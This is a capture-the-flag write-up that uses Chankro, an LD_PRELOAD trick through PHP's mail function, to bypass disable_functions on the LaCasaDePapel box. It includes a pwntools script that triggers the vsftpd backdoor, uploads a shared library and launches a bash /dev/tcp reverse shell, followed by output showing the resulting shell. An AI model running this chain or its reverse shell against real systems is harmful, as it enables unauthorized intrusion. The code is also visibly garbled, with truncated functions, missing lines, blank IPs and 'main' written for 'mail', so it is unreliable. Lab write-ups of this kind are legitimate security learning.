I was reading Alamot’s LaCasaDePapel writeup, and they went a different way once they got the php shell. Instead of just using the php functions to find the certificate and key needed to read the private members https page, Alamot uses Chankro to bypass the disabled execution functions and run arbitrary code anyway. I had to try it.


Chankro is a tool for bypassing disable_functions in php to get execution anyway. It is common for content owners to set up php with disable_functions set to prevent system, shell, etc. That, in theory, prevents an attacker who finds a way to run arbirary php code (file upload + local file include, for example) from getting command execution on the host.

On Linux hosts, when the php function mail is called, it invokes the binary sendmail. The idea with Chankro is to set the LD_PRELOAD environment variable to include a shared library and then call mail, and the shared library will get execution.

hook.c, which compiles tohook32.so and hook64.so is pretty simple:

#define  _GNU_SOURCE
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <signal.h>
#include <unistd.h>

void pwn(void) {
	chmod(getenv("CHANKRO"), 00777);

void daemonize(void) {
	signal(SIGHUP, SIG_IGN);
	if (fork() != 0) {

__attribute__ ((__constructor__)) void preloadme(void) {

It basically cleans up the LD_PRELOAD environemnt variable and then gets the name of a binary from the CHANKRO environment variable, changes the permissions to 777, and calls it with system.

There is a python script in the repo to run it, but for these use cases, the more useful path is four steps:

  1. Upload the .so file and a file to execute (shell script or elf).
  2. Set the environment variable LD_PRELOAD to point to the .so.
  3. Set the environment variable CHANKRO to point to the file to execute.
  4. Run main('a','a','a','a'); in php.

That will result in execution of the script.


The biggest challenge here is to get the .so file uploaded to target. I was unable to get it to work using base64 and file_put_contents, as it’s too big. So I opted to go the same route as Alamot and script it. I took my generic vsftpd_backdoor.py and modified it to upload and trigger Chankro. This code is pretty sloppy, but I just threw it together for testing purposes:

#!/usr/bin/env python

import sys
import time
from pwn import *

if len(sys.argv) < 2:
    print("%s [ip] [port = 21]" % sys.argv[0])
    print("port defaults to 21 if not given")
elif len(sys.argv) == 2:
    port = 21
    port = int(sys.argv[2])
target = sys.argv[1]

print("[*] Connecting to %s:%d" % (target, port))
ftp = remote(target, port)
ftp.sendline(b'USER 0xdf:)')
ftp.sendline(b'PASS 0xdf')
print('[+] Backdoor triggered')
print('[*] Connecting')

    psy = remote(target, 6200)
except KeyboardInterrupt:
    print("[!] Exiting Shell")

print("[*] Uploading chankro.so")
psy.sendline("$f = fopen('/tmp/chankro.so', 'w');")
with open('/opt/Chankro/hook64.so', 'rb') as f:
    while True:
        d = f.read(1024)
        if not d:
        psy.sendline("fwrite($f, base64_decode('%s'));" % base64.b64encode(d))

print("[+] Uploaded chankro.so")
shell = base64.b64encode("bash -c 'bash -i >& /dev/tcp/ 0>&1'")
psy.sendline("file_put_contents('/tmp/acpid.socket', base64_decode('%s'))" % shell)
print("[+] Uploaded shell as /tmp/acpid.socket")
print("[+] Set env variables")
print("[*] Triggering with mail call\n[*] Waiting for shell. This could take a minute.")

dali = listen(443).wait_for_connection()

When I run this, I get a shell back as dali:

root@kali# ./lacasadepapel_dali_shell.py
[*] Connecting to
[+] Opening connection to on port 21: Done
[*] Closed connection to port 21
[+] Backdoor triggered
[*] Connecting
[+] Opening connection to on port 6200: Done
[*] Uploading chankro.so
[+] Uploaded chankro.so
[+] Uploaded shell as /tmp/acpid.socket
[+] Set env variables
[*] Triggering with mail call
[*] Waiting for shell. This could take a minute.
[*] Closed connection to port 6200
[+] Trying to bind to on port 443: Done
[+] Waiting for connections on Got connection from on port 37892
[*] Switching to interactive mode
bash: cannot set terminal process group (3121): Not a tty
bash: no job control in this shell
bash-4.4$ $ id
uid=1000(dali) gid=1000(dali) groups=1000(dali)


My mind immediately went to HackBack when I saw this technique, as it would have allowed me to get a shell I was not able to get (in a solid way) before. However, I quickly realized HackBack is a Windows box, so the technique doesn’t at all apply. I can upload files, but calling mail will do something different, and there’s no LD_PRELOAD in Windows, at least not in a way I can interact with at this point. It would be an interesting area of research to see if there are ways to bypass disable_functions on Windows.

Still, for Linux boxes, this is a really cool way to get around a common protection. As an administrator, it’s probably best to add both main and setenv to the disable_functions list, as either would prevent this attack.